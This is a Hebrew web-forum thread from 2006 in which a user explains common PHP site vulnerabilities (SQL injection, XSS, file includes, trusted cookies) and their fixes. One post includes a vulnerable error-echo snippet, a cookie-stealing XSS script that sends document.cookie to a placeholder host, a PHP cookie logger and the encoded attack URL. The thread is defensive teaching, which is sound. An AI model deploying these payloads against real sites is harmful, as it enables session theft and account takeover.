לוגו אתר Fresh          
 
 
  אפשרות תפריט  ראשי     אפשרות תפריט  צ'אט     אפשרות תפריט  מבזקים     אפשרות תפריט  צור קשר     חץ שמאלה ‎print ‎"Hello World!"; if‎ ‎not rules.‎know ‎then rules.‎read(); חץ ימינה  

לך אחורה   לובי הפורומים > מחשבים > תכנות ובניית אתרים
שמור לעצמך קישור לדף זה באתרי שמירת קישורים חברתיים
תגובה
 
כלי אשכול חפש באשכול זה



  #5  
ישן 11-07-2006, 20:21
  eXeCuT3 eXeCuT3 אינו מחובר  
 
חבר מתאריך: 30.06.06
הודעות: 185
בתגובה להודעה מספר 1 שנכתבה על ידי MatiM שמתחילה ב "פירצות אבטחה"

אני חושב שההתקפות הנפוצות שקשורות לקוד שאתה בונה, אני לא מדבר על התקפה על השרת שאתה מריץ, הן SQL Injection ו XSS.

אתה יכול לקרוא פה מדריך מקיף מאוד על SQL Injection.
הדוגמאות שהם נותנים שם זה אומנם לא על PHP ו MySQL, אבל זה אותו עיקרון..
כל מחרוזת שאתה מקבל מהמשתמש ונכנסת לתוך שאילתה צריכה לעבור בדיקה - אם זה מספר אתה צריך לבדוק שזה באמת מספר/להפוך את זה למספר
אם זה מחרוזת אתה צריך לעשות על זה mysql_real_escape_string.

בקשר ל XSS - אתה צריך להפעיל htmlspecialchars על כל דבר שאתה מקבל מהמשתמש ומציג באתר.
אם אתה מקבל מהמשתמש ומכניס לדאטאבייס, אתה צריך לעשות את זה כשאתה מוציא את המידע

כמובן שיש עוד הרבה דברים פגיעים, לפעמים אנשים מקבלים מיקום של קובץ ועושים לו include בלי לבדוק את הקובץ, מה שמאפשר לעיתים הזרקת קוד PHP לאתר.

לפעמים לוקחים מידע מהמשתמש, ובגלל שהוא הוגדר בעוגיה, או ב input שהוא hidden חושבים שהמידע הזה בטוח, אז שמים נגיד עוגיה עם המספר משתמש בלי לוודאות את זה לפי סיסמא, עוגיה שאומרת אם אתה מנהל או לא, וכל מיני כאלה.

לפעמים שמים את הניהול בדף כלשהו ולא מגנים עליו, וחושבים שפשוט אף אחד לא ידע למצוא את זה.. ואז אפשר לנסות לנחש את זה

והרשימה עוד ארוכה... תחפש בגוגל, ולפי דעתי כדאי שתקרא באנגלית, כי בעברית אתה לא תמצא הרבה מידע בנושא.

נערך לאחרונה ע"י eXeCuT3 בתאריך 11-07-2006 בשעה 20:24.
תגובה ללא ציטוט תגובה עם ציטוט חזרה לפורום
  #8  
ישן 12-07-2006, 02:01
  eXeCuT3 eXeCuT3 אינו מחובר  
 
חבר מתאריך: 30.06.06
הודעות: 185
בתגובה להודעה מספר 6 שנכתבה על ידי MatiM שמתחילה ב "ואו, זה אחד מהתשבוות שציפיתי..."

XSS זה למעשה במקור CSS, אבל כותבים XSS כדי למנוע בלבול בין זה לבין גליונות עיצוב מדורגים.
בכל מקרה, CSS זה ראשי תיבות של Cross Site Scripting

יהיה לי יותר קל לתת דוגמה מאשר להסביר, אז אני אתן דוגמה
בוא נגיד שיש לך דף הרשמה, שנקרא register.php
בין השאר, כתוב שם
קוד PHP:
<?php
if (isset($_GET['error'])) echo "Error: ".$_GET['error']."<br/>\n";
?>


המטרה של זה זה להציג שגיאה, למשל אם נרשמים אם משתמש שכבר קיים, זה יפנה ל register.php?error=this username is already in use
עכשיו, זה אמור לקבל מחרוזת, אבל במקרה שיכנסו ל
register.php?error=HTML CODE
זה יכניס את זה בתור הפלט שנכנס למשתמש.
למה זה טוב לתוקף פוטנציאלי? הוא יכול להריץ JS דרך האתר שלך,
לקוד JS שמורץ דרך האתר שלך יש גישה לעוגיות, ואפשר להשתמש בזה בשביל לגנוב עוגיות
ב JS יש את document.cookie שמכיל את כל העוגיות, בעזרת קוד JS של שורה אחת אפשר לשלוח את כל העוגיות לסקריפט חיצוני של התוקף שישמור את זה.. והוא אחר כך יוכל להשתמש בזה בשביל להתחבר בתור משתמש אחר.
דוגמה לקוד שיעשה דבר כזה -
קוד:
<script type="text/javascript"> document.location="http://host/path/to/file.php?c="+escape(document.cookie); </script>

והקוד PHP שישמור את זה
קוד PHP:
<?php
$fp
=fopen('log.txt', (is_file('log.txt') ? 'a' 'w'));
fwrite($fp$_GET['c']."\n");
?>


ואם נעשה את זה דרך register.php, זה יהיה


קוד:
register.php?error=%3Cscript+type%3D%22text%2Fjava script%22%3Edocument.location%3D%22http%3A%2F%2Fho st%2Fpath%2Fto%2Ffile.php%3Fc%3D%22%2Bescape(docum ent.cookie)%3B%3C%2Fscript%3E


למעשה כל מי שיקבל את הלינק הזה, ישלח את העוגיות שלו לסקריפט של התוקף.


שימוש נוסף שיש ל XSS זה ל phisging
משתמשים בזה בשביל להראות בתוך הדף טופס שמבקש שם משתמש וסיסמא, וכל הפרטים למעשה נשלחים לסקריפט של התוקף.
מי שיכנס יחשוד פחות, בגלל שהוא יראה את הדומיין של האתר האמיתי

הפתרון לבעיה הזאת היא להפוך את מה שאמור להיות מספר למספר (בעזרת casting ל int או עם intval), ולמה שאמור להיות מחרוזת לעשות htmlspecialchars.


בע, אחרי שסיימתי לכתוב מצאתי מדריך
http://bv.spotquick.com/showtext.ph...okie%20Hack.txt

נערך לאחרונה ע"י eXeCuT3 בתאריך 12-07-2006 בשעה 02:05.
תגובה ללא ציטוט תגובה עם ציטוט חזרה לפורום
תגובה

כלי אשכול חפש באשכול זה
חפש באשכול זה:

חיפוש מתקדם
מצבי תצוגה דרג אשכול זה
דרג אשכול זה:

מזער את תיבת המידע אפשרויות משלוח הודעות
אתה לא יכול לפתוח אשכולות חדשים
אתה לא יכול להגיב לאשכולות
אתה לא יכול לצרף קבצים
אתה לא יכול לערוך את ההודעות שלך

קוד vB פעיל
קוד [IMG] פעיל
קוד HTML כבוי
מעבר לפורום



כל הזמנים המוצגים בדף זה הם לפי איזור זמן GMT +2. השעה כעת היא 03:16

הדף נוצר ב 0.07 שניות עם 12 שאילתות

הפורום מבוסס על vBulletin, גירסא 3.0.6
כל הזכויות לתוכנת הפורומים שמורות © 2024 - 2000 לחברת Jelsoft Enterprises.
כל הזכויות שמורות ל Fresh.co.il ©

צור קשר | תקנון האתר